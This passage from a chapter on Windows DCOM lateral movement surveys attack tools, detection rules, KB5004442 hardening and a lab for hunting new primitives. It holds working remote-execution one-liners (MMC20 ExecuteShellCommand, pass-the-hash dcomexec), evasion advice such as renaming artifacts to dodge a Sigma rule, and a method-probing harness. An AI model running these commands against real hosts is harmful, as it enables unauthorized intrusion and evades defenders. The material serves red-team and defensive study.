2018) remote-activates the `htafile` ProgID (mshta `LocalServer32`) with a custom moniker plus DotNetToJScript for fileless, HTA-less execution — code at `github.com/codewhitesec/LethalHTA` ([19]). --- ## 6. Tooling Every primitive above reduces to `GetTypeFromCLSID`/`GetTypeFromProgID` + `Activator.CreateInstance` + one method call, so tooling differs mainly in output handling, auth options, and operational wrappers. ### impacket `dcomexec.py` A semi-interactive shell over DCOM supporting three objects — `MMC20`, `ShellWindows` (default), `ShellBrowserWindow` ([13]). It wraps your command as `cmd /c 1> \\127.0.0.1\ADMIN$\__. 2>&1` and reads the result back over SMB, so **it needs `ADMIN$`** (override with `-share`; `-nooutput` runs blind). Other switches: `-shell-type powershell`, `-silentcommand`. Authentication: cleartext, `-hashes` (PtH), `-k` Kerberos with `-aesKey`/`-keytab`. Tested matrix: MMC20 on Win7/10/2012R2; ShellWindows on Win7/10/2012R2; ShellBrowserWindow on Win10/2012R2 ([13]). ```bash dcomexec.py DOMAIN/admin:pass@192.168.1.10 "cmd.exe /c whoami > C:\\temp\\o.txt" # ShellWindows default dcomexec.py -object ShellWindows -hashes :NTHASH DOMAIN/admin@192.168.1.10 dcomexec.py -object MMC20 -k -nooutput DOMAIN/admin@target.domain.local ``` > **OpSec:** the `\\127.0.0.1\ADMIN$\__.` write-back leaves a deterministic pattern in command lines and `ADMIN$`: the regex `\\__[0-9]{10}\.[0-9]{6,7}\s2>&1` detects it ([26]). Use `-nooutput` when you can. ### Invoke-DCOM.ps1 rvrsh3ll's PowerShell wrapper for the enigma0x3-era primitives ([15]). It automates exactly the object walks shown in sections 5.1–5.4; the underlying one-liner it wraps is: ```powershell [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET")).Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami","7") ``` ### SharpMove 0xthirteen's C# lateral-movement collection; DCOM execution via `action=dcom`, and `action=hijackdcom` for the planted-binary variant ([16]): ```text SharpMove.exe action=dcom computername=TARGET command="cmd.exe /c calc.exe" (illustrative; see repo for full syntax [16]) ``` Defenders ship a Sigma rule for it (`proc_creation_win_hktl_sharpmove`) — recompile with renamed artifacts before use. ### SharpCOM rvrsh3ll's C# implementation of the classic objects ([17]); functionally the C# MMC20 snippet from section 5.1 with target/CLSID parameterization. Useful when PowerShell logging (Script Block, AMSI) is a concern and you want the same primitives in an assembly. ### SharpExcel4-DCOM rvrsh3ll's weaponization of the Excel `ExecuteExcel4Macro` primitive (section 5.4d) — remote XLM execution without staging a workbook ([18]): ```csharp // core call it wraps; see repo for full CLI [18] excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { "EXEC(\"calc.exe\")" }); ``` ### Cobalt Strike DCOM execution is documented in the Cobalt Strike User Guide under `remote-exec` (`com-mmc20`); the Aggressor-accessible one-liner is the MMC20 primitive itself (no public URL is cited in our source material): ```powershell [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET")).Document.ActiveView.ExecuteShellCommand("c:\windows\temp\a.exe", $null, "", "7"); ``` ### NetExec NetExec exposes MMC20 execution as an SMB `--exec-method` with a configurable DCOM timeout ([14]): ```bash nxc smb -u user -p pass --exec-method mmcexec -x "whoami" # tune with --dcom-timeout ``` ### Also in the ecosystem - **Empire** — module `powershell/lateral_movement/invoke_dcom` covering MMC20, ShellWindows, ShellBrowserWindow, ExcelDDE, RegisterXLL, plus a `DetectOffice` check ([3]). - **SharpLateral** (`reddcom`), **CsDCOM** (rasta-mouse), and **MoveKit** round out C# delivery options; all are variations on the same three-line .NET primitive. - **LethalHTA** — standalone tool for the `htafile`+moniker route (section 5.8) ([19]). --- ## 7. Detection and OpSec DCOM detection works on four axes: process lineage, network, authentication, and the registry/disk residue of the planted-binary variants. No single axis is sufficient — the techniques were designed to look like administration. ### Process lineage (Sysmon Event ID 1) | Indicator | Meaning | |---|---| | `svchost.exe -k DcomLaunch` → `mmc.exe -Embedding` | MMC20 activation (5.1) | | `svchost.exe` → `EXCEL.EXE /automation -Embedding` | Excel variants (5.4) — correlate; the flag alone is noisy ([25]) | | `DllHost.exe /Processid:{AppID}` | DLL-hosted DCOM server start | | Second generation: `mmc.exe` → `cmd.exe`, `explorer.exe` → `cmd.exe`, `EXCEL.EXE` → child | The payload itself; `explorer.exe` parenting points at ShellWindows/ShellBrowserWindow | | `OUTLOOK.EXE -Embedding` spawned non-interactively | Outlook CreateObject (5.5) | The canonical Sigma rule for MMC20 (`f1f3bf22-deb2-418d-8cce-e1a45e46a5bd`, level high) is deliberately minimal ([24]) — condensed: ```yaml # Condensed from Sigma f1f3bf22-deb2-418d-8cce-e1a45e46a5bd (high) [24] detection: selection: ParentImage|endswith: '\svchost.exe' Image|endswith: '\mmc.exe' CommandLine|contains: '-Embedding' condition: selection ``` ### Network (Sysmon 3, Zeek/Suricata, NDR) - **Sysmon 3:** inbound TCP 135 to `svchost.exe` plus a follow-on dynamic high-port connection; egress *from* `mmc.exe`/`EXCEL.EXE` afterwards is a beacon-grade anomaly. - **DCE/RPC content inspection** (Zeek `dce_rpc`, Suricata): `ISystemActivator`/`IRemoteSCMActivator` opnum 3 `RemoteGetClassObject` / opnum 4 `RemoteCreateInstance` against 135, then `IDispatch::GetIDsOfNames` carrying method strings — `ShellExecute`, `ExecuteShellCommand` — and `Invoke` arguments **in cleartext at Packet-Integrity** level. Integrity is not encryption; only Packet Privacy hides these. This is the single most reliable content indicator in the chapter. - **Workstation-to-workstation 135** is high-fidelity almost everywhere; legitimate DCOM administration concentrates on management hosts. - Vendor analytics exist: Microsoft Defender for Identity raises "Remote code execution attempt" for MMC20/ShellWindows, and Elastic ships a prebuilt "Incoming DCOM Lateral Movement with MMC" rule. ### Authentication and Windows events - **4624 Type 3** on the target (every technique), **4768/4769** for the Kerberos path, **4648** on the source for explicit credentials, **4672** when the admin token lands. - **DistributedCOM 10010** (System log): the mobsync/abandoned-binary tell (5.7); **10006/10016** record DCOM denials — a spike is reconnaissance against launch ACLs. - **10036/10037/10038**: KB5004442 hardening rejections (section 8) — 10036 is server-side (logs user/SID/client IP of a below-integrity activation attempt), 10037/10038 client-side. An estate-wide watch on 10036 surfaces both legacy misconfigurations and relay tooling. - "Audit DCOM Activity" exists as an advanced audit policy but is rarely enabled. ### Image loads, files, registry (Sysmon 7 / 11 / 13) - **Sysmon 7:** `.xll` or unknown-DLL loads into `EXCEL.EXE` (RegisterXLL); `wshom.ocx` (Outlook Wscript.Shell variant); `iertutil.dll` from a non-system path (InternetExplorer.Application hijack). - **Sysmon 11/13:** `ADMIN$` writes, planted `mobsync.exe`, staged `.ppam`/`.xlsm`, and — as a defender — **tampering with `LaunchPermission` values** (an attacker who weakens an AppID ACL leaves a 13). ### Tooling signatures and ETW - impacket `dcomexec.py`: output-file pattern `\\__[0-9]{10}\.[0-9]{6,7}\s2>&1` in command lines and share writes ([26]). - SharpMove: `proc_creation_win_hktl_sharpmove` Sigma rule. - **ETW:** the `Microsoft-Windows-RPC` provider surfaces ORPC calls and is the substrate for endpoint sensors that do not parse DCE/RPC off the wire. > **OpSec:** to minimize your footprint as an operator: prefer ShellWindows/ShellBrowserWindow (no new COM host process) on hosts with an interactive session; keep payloads fileless (MMC20 command lines, ExecuteExcel4Macro, DotNetToJScript); authenticate with Kerberos by hostname to blend with admin tooling; and remember the artifacts you cannot remove — 4624 Type 3, the opnum 3/4 activation calls, and the method strings on the wire unless Packet Privacy is negotiated. --- ## 8. Hardening and the limits of KB5004442 ### What KB5004442 actually does Microsoft's "DCOM Hardening" update (KB5004442, CVE-2021-26414) rolled out in three phases: **opt-in June 2021 → enabled by default June 14, 2022 → mandatory March 14, 2023** ([22]). It raises the minimum activation authentication level to `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY`, enforceable via `HKLM\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel=1`. Consequences: - **Kills the unauthenticated and relay paths** — notably the RemotePotato0-style OXID man-in-the-middle → NTLM relay chains ([21]). - **Rejects old clients** that cannot do packet integrity, logging 10036 (server-side) / 10037/10038 (client-side). - **Does NOT stop authenticated admin DCOM lateral movement.** Every technique in this chapter rides valid credentials at or above packet integrity; hardening changes nothing for them. Hardening is an anti-relay control, not an anti-DCOM control ([22]). > **Warning:** In OT environments this matters twice: OPC Classic (OPC DA) is *entirely* DCOM — the OPCEnum service, the same 135+dynamic-port footprint — and KB5004442 broke legacy OPC deployments that could not meet packet integrity. Expect environment-specific freezes of the hardening level and legacy DCOM exposure to coexist on industrial networks. ### Attack-surface mapping BloodHound models this exact abuse path as the **`ExecuteDCOM` edge** ([27]): during engagements, query it to find principals whose admin rights translate into DCOM-executable paths; during defense, use the same edge to prioritize which admin relationships to break first. ### Defense-in-depth checklist 1. **Segment:** block workstation-to-workstation TCP 135 + the dynamic range; restrict DCOM to management hosts/PAWs; disable inbound "COM+ Network Access (DCOM-In)" and "Microsoft Management Console" firewall rules. 2. **DCOM ACLs:** in `dcomcnfg` → COM Security, Edit Default/Limits — remove Remote Launch/Activation from Administrators. Per object: take ownership of `HKCR\AppID\{guid}` (from TrustedInstaller), set an explicit `LaunchPermission` denying remote activation, restore ownership, remove your own FullControl. Monitor Sysmon 13 for tampering with these values. 3. **Disable DCOM entirely:** `HKLM\SOFTWARE\Microsoft\Ole EnableDCOM="N"` — effective but breaks remote WMI; test at scale before enforcing. 4. **Identity controls:** LAPS (unique local admin passwords), tiered administration with PAWs, Credential Guard, Protected Users (blocks NTLM DCOM/PtH; Kerberos DCOM still works), disable NTLM where possible. Monitor KB5004442 enforcement state estate-wide. 5. **Application control:** block Office child processes, deploy ASR rules, keep Office off servers, block `mshta`/`ScriptControl`. --- ## Research Lab: Hunting New DCOM Lateral-Movement Primitives ### Hunting hypothesis The published set (MMC20, Shell*, Office, mobsync) is what survived triage of the full COM class list — it is not the whole list. Three classes of *new* primitives plausibly remain: 1. **Undiscovered dangerous methods** on remote-activatable classes that inherit default launch ACLs — the exact property combination that made MMC20 abusable (no explicit `LaunchPermission` + a method taking a command/path string). 2. **Abandoned registrations**: `LocalServer32`/`InProcServer32` paths whose binaries vanished (OS upgrades, third-party uninstalls) — the mobsync pattern generalizes, and bohops already showed a third-party instance (`IntelCpHDCPSvc.exe`) ([8]). 3. **RunAs-Interactive-User classes** beyond the two known shell objects, converting remote activation into execution inside a logged-on session — the stealthiest hosting model published so far. ### Enumeration Build the target list first; test later. ```powershell # 1. Inventory DCOM-visible applications (AppID, Name) Get-CimInstance Win32_DCOMApplication | Select-Object AppID, Name # 2. Flag classes whose LocalServer32 binary is MISSING on the target # (abandoned-DCOM candidates, mobsync pattern) — sketch, run per-build (illustrative) Get-ChildItem 'HKLM:\Software\Classes\CLSID' -ErrorAction SilentlyContinue | ForEach-Object { $ls = (Get-ItemProperty -Path "$($_.PSPath)\LocalServer32" -ErrorAction SilentlyContinue).'(default)' if ($ls) { $path = $ls -replace '"','' -replace '\s+-.*$','' $path = [Environment]::ExpandEnvironmentVariables($path) if (-not (Test-Path $path)) { "$($_.PSChildName) -> $path (MISSING)" } } } ``` In **OleViewDotNet** ([23]), run as administrator and work the registry view: - Filter for classes with **no explicit launch ACL**: `entry LaunchPermission == None` — these inherit the machine default, the property shared by MMC20, ShellWindows, and ShellBrowserWindow. - For each surviving class, read the AppID's `RunAs` setting (Interactive User is premium) and the class's `LocalServer32` path. - Enumerate each class's exposed interfaces/methods from its type library; you are hunting `IDispatch`-callable methods (late binding = callable from PowerShell without compiled proxies). ### Triage heuristics A candidate is promising if it checks most of these boxes: - [ ] No explicit `LaunchPermission` on its AppID (inherits Administrators-friendly default). - [ ] `RunAs` = Interactive User, or the default (launching user) — both were exploited historically. - [ ] Exposes `IDispatch` (scriptable, late-bound). - [ ] Has methods whose names or signatures imply execution or file loading: `Execute*`, `Shell*`, `Run`, `Open`, `Add`, `Navigate`, `Launch`, or a BSTR parameter that smells like a path/command. - [ ] Hosted by a signed Microsoft binary already present on gold images (no drop needed). - [ ] `LocalServer32` points at a non-existent or user-writable path (plant-and-activate). - [ ] Third-party AppID left behind by an uninstalled driver/utility. ### Analysis workflow **Static checklist:** registry (`HKCR\CLSID\{clsid}` → server path; `HKCR\AppID\{appid}` → RunAs, ACL) → type library method dump → rank methods by argument types (BSTR command/path args first, then integer-controlled behavior). Verify the host binary exists, is signed, and note its spawn flags (`-Embedding`, `/automation`). **Dynamic harness** — loop candidates against a lab VM running Sysmon + Wireshark, log every HRESULT, and correlate with process creation *(illustrative sketch)*: ```csharp // (illustrative) DCOM method-probing harness foreach (var clsid in File.ReadLines("candidates.txt")) { try { Type t = Type.GetTypeFromCLSID(new Guid(clsid), TARGET); // CoCreateInstanceEx remote object o = Activator.CreateInstance(t); // watch target for host spawn foreach (var m in candidateMethods) // "ShellExecute", "Run", "Open", ... try { t.InvokeMember(m, BindingFlags.InvokeMethod, null, o, benignArgs); // e.g. calc.exe Log($"HIT {clsid} {m}"); } catch (Exception e) { Log($"{clsid} {m}: {e.Message}"); } } catch (Exception e) { Log($"{clsid}: activation failed {e.Message}"); } } ``` On the target, correlate Sysmon EID 1 (new host under DcomLaunch; child processes) with your timestamps, and capture which activation opnum (3 vs 4) your probe generated on the wire. ### Fuzzing/mutation ideas (DCOM method arguments) Typed mutation beats blind bit-flipping here; the interesting space is the *arguments*, since the transport is mature: - **BSTR path/command args:** UNC vs local paths, self-referential `\\127.0.0.1\ADMIN$`, extension confusion (RegisterXLL loads by DLL semantics *regardless of extension* — test the same against every file-loading method you find), trailing-space and quote smuggling. - **Boundary lengths:** DDE showed the pattern — `App` capped at 8 chars with auto-appended `.exe`, `Topic` capped at 1024. Mutate around such caps in any string arg you find; off-by-one parsing inside a signed host is a memory-safety lead, not just an exec primitive. - **Integer/window-state args:** `vShow`/`WindowState` boundaries (0, 1, 7, negatives, huge values) — UI-state confusion and validation bugs. - **Null/omitted optionals:** several published primitives tolerate `$null` for directory/operation args; probe which methods mis-handle missing VARIANTs. - **URL schemes** for Navigate-style methods: `file:`, UNC, HTTP/S, `.hta` — each routes through different shell handlers with different UI/execution behavior; map which execute without prompts. - **Authentication-level mutation:** force below-integrity activation against KB5004442-mandatory builds and log 10036/37/38 behavior — identifies servers where hardening was rolled back (a target-selection signal). - **VARIANT type confusion** in `IDispatch::Invoke`: wrong-typed arguments, DISPID off-by-one — hunting parser crashes inside `EXCEL.EXE`/`mmc.exe`-grade hosts that upgrade a lead from "exec" to "memory corruption". ### From lead to primitive 1. **Local activation first** — loopback `127.0.0.1` works, and ShellWindows-style loopback even lands in the interactive user's context; cheapest possible iteration loop. 2. **Remote activation** with lab admin creds; confirm the 4624 Type 3 and DcomLaunch spawning the host. 3. **Argument control:** prove a chosen string lands in a child-process command line (Sysmon 1) or a chosen file executes (Sysmon 11 + 1). 4. **Reliability matrix:** OS builds × application presence × interactive-session requirement; record failure HRESULTs precisely — remember `0x80080005` still meant success for the mobsync pattern. 5. **Hardening check:** repeat against a KB5004442-mandatory build; your primitive must survive packet-integrity enforcement (it will, if it uses real creds) and you should document which rejection events a *non-compliant client* would raise. 6. **Publication bar:** a new primitive = new CLSID + reproducible execution + a documented telemetry map (lineage, events, network strings). Check whether BloodHound's `ExecuteDCOM` modeling and existing Sigma coverage already catch your lineage — if they do not, say so; that gap is the contribution. ### Further reading - OleViewDotNet — James Forshaw's COM enumeration workhorse ([23]) - enigma0x3, *Lateral Movement via DCOM: Round 2* — the ShellWindows/ShellBrowserWindow playbook ([2]) - bohops, *Abusing DCOM for Yet Another Lateral Movement Technique* — abandoned binaries ([8]) - MDSec, *I Like to Move It: Windows Lateral Movement Part 2 — DCOM* — XLM/shellcode in Excel ([9]) - SpecterOps, *Abuse the Power of DCOM Excel Application* — ActivateMicrosoftApp EOL proxy execution ([10]) - BloodHound docs, *ExecuteDCOM edge* — graph modeling of this attack class ([27]) --- ## References [1] Lateral Movement Using the MMC20.Application COM Object — enigma0x3 (2017) — https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ [2] Lateral Movement via DCOM: Round 2 — enigma0x3 (2017) — https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ [3] Lateral Movement Using Excel Application and DCOM — enigma0x3 (2017) — https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/ [4] Lateral Movement Using Outlook's CreateObject Method and DotNetToJScript — enigma0x3 (2017) — https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/ [5] Leveraging Excel DDE for Lateral Movement via DCOM — Cybereason (2017) — https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom [6] DCOM Lateral Movement Techniques — Cybereason — https://www.cybereason.com/blog/dcom-lateral-movement-techniques [7] Abusing Exported Functions and Exposed DCOM Interfaces for Pass-Thru Command Execution and Lateral Movement — bohops (2018) — https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/ [8] Abusing DCOM for Yet Another Lateral Movement Technique — bohops (2018) — https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/ [9] I Like to Move It: Windows Lateral Movement Part 2 — DCOM — MDSec (2020) — https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-2-dcom/ [10] Lateral Movement: Abuse the Power of DCOM Excel Application — SpecterOps (2023) — https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922 [11] MITRE ATT&CK T1021.003 — Distributed Component Object Model — MITRE — https://attack.mitre.org/techniques/T1021/003/ [12] MITRE ATT&CK T1559.001 — Component Object Model — MITRE — https://attack.mitre.org/techniques/T1559/001/ [13] impacket dcomexec.py — Fortra (agsolino / byt3bl33d3r) — https://github.com/fortra/impacket/blob/master/examples/dcomexec.py [14] Execute Remote Command — NetExec Wiki — https://www.netexec.wiki/smb-protocol/command-execution/execute-remote-command [15] Invoke-DCOM.ps1 — rvrsh3ll — https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1 [16] SharpMove — 0xthirteen — https://github.com/0xthirteen/SharpMove [17] SharpCOM — rvrsh3ll — https://github.com/rvrsh3ll/SharpCOM [18] SharpExcel4-DCOM — rvrsh3ll — https://github.com/rvrsh3ll/SharpExcel4-DCOM [19] LethalHTA — codewhitesec (2018) — https://codewhitesec.blogspot.com/2018/07/lethalhta.html [20] DCOM Lateral Movement with PowerPoint — attactics.org (2018) — https://attactics.org/2018/02/dcom-lateral-movement-powerpoint/ [21] Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in the Windows RPC Protocol — SentinelOne — https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/ [22] KB5004442 — Manage changes for Windows DCOM Server Security Feature Bypass (CVE-2021-26414) — Microsoft — https://support.microsoft.com (KB5004442 / CVE-2021-26414) [23] OleViewDotNet — James Forshaw (tyranid) — https://github.com/tyranid/oleviewdotnet [24] Sigma rule: MMC20 Lateral Movement — SigmaHQ — https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_mmc_mmc20_lateral_movement/ [25] FalconFriday: DCOM & SCM Lateral Movement (0xFF05) — FalconForce — https://falconforce.nl/falconfriday-dcom-scm-lateral-movement-0xff05/ [26] Hunting Impacket RCE Tools — misthi0s (2023) — https://misthi0s.dev/posts/2023-03-08-hunting-impacket-rce-tools/ [27] BloodHound — ExecuteDCOM edge — SpecterOps — https://bloodhound.specterops.io/resources/edges/execute-dcom